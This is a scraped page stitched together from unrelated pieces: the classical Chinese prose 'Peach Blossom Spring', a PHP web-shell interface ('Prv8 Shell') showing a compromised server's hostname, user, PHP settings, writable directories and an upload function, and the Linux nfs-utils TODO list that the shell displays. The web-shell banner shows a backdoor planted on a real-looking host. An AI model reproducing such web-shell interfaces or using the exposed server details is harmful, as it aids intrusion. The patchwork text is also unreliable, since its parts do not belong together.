晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/doc/nfs-utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/nfs-utils/TODO
Todo/Status List for Linux-NFS

 *	denotes to be done;
 o	denotes draft implementation, possibly commented out
 -	denotes done,
 +	denotes done and tested
------------------------------------------------------------------

RPC:

 *	Server-side AUTH_DES authentication

NFS:

 *	stat() calls don't check whether the cached attrs are stil valid
	(this is a problem in the VFS).
 -	NFS_ROOT stuff needs fixing.
 o	Swapping over NFS.

	Issues of swapout:
	 *	Avoid recursion in low memory situations where
		kmalloc may call try_to_swap_out etc ad inf.
	 *	Don't do async I/O on swap files.

	For special-casing related to NFS swap I/O, flag swap file 
	semantics in inode->i_flags. In swapfile.c, change functions
	to call readpage/writepage if available, otherwise proceed
	as usual.

 -	Write-back support.
 *	Disable page cache invalidation/flushing for locked file
	regions.
 -	Directory caching (we now have page-sized dircache entries
	which could easily be organized into a linked list). These
	dircache pages come along as a linked list that can be copied
	almost 1-to-1 into a dirent struct. If this is put into the
	VFS, other remote fs's will also benefit.

	[Note: I just increased the readdir cache to hold more than
	one directory. With this, the exclusive lock on readdir goes
	away, too. With a larger cache, it may also be worth to think
	about directory readahead...]
 *	Better lookup caching?
 *	When a read lock is present, don't time out attr cache or
	page cache for that region. Likewise, if a write lock is present,
	be lazy on write-back.
 *	Implement CTO.
 -	BUG: Invalidate readdir cache after remove/rename/unlink
 *	Automatic `mounting' when the server crosses mount points
	transparently (some IRIX machines seem to do this when
	using -nohide).
 *	NFSv3 support. This requires careful design to maximize
	code sharing between NFSv2 and NFSv3.
 *	More robust rename handling (see comment before nfs_rename).
 *	Add Miquel's O_EXCL hack for file creation.
 *	Performance improvement: When a complete reply is received, and
	the (async) task is woken up, don't put it on rpciod's scheduling
	queue, but add it to a `fast scheduler queue.' The fast scheduler
	could be a special handler that's registered on the tq_scheduler task
	queue. This queue is fired by the kernel scheduler as soon as
	the other bottom halves have been run.

	Note that implementing this for sync tasks is even trickier than
	for async tasks, because you have to make sure you do the right
	thing in rpc_sleep_on().
 *	writeback of writable mmaps. Dirty pages are not subject to
	writeback scheduling. Also, msync should make sure pages are
	written with O_SYNC on.


nfsd:

 *	uid/gid mapping, and rpc.ugidd support
 -	Don't read/write a file that might have mandatory locks.
 *	Implement secure/kerberos export options (take care of lockd
	fopen() calls--most clients seem to use NULL creds for lockd).
 -	there's a bug in readdir wrt large directories. Try mounting
	the linux source tree and do an ls on include/linux...
 *	Support for UNIX socket creation.
 *	Someone should look over the error return codes. I tend to
	mix up EPERM and EACCES.
 *	NFSv3 support.
 -	Refuse to look up inodes in procfs (security issues).
 o	Delayed writes (delay syncing of file data when nfsd handles
	several write requests for the same file concurrently).
	(Draft - see nfsd_write in fs/nfsd/write.c. Needs benchmarking).
 *	Faster read operations (single copy): mmap the file region
	to be read into VM, and pass the VMA to the xdr routines
	which pass the region's VM address into sock->ops->writemsg.
	This copies the file data directly from the page cache into
	the network buffer.
	Release the vma region after encoding.
 *	Faster write operations (single copy, with IPv6 net layout):
	Get the unfragmented UDP datagram, pull the header and
	do normal processing. Then mmap the file, copy the write data,
	and release VMA.
 -	Clear setuid/setgid bit after write().
 *	Quota support.

lockd:

 *	Server should run on privileged port.
 *	Testing reclaim support.
 *	HP lockd accepts our GRANT_MSG callback and passes on the grant
	to the blocking process, but doesn't reply with a GRANT_RES. 
	It's not clear to me why it would do this.
 *	Unregister hosts (SM_UNMON) with rpc.statd when appropriate.

mountd

 *	Unregister service from portmapper upon exit/SIGTERM

mount

 *	If available, use version 3 of the mount protocol and
	obtain pathconf data (fill in data->bsize).

documentation:

 -	Manpages need to be written

haha - 2025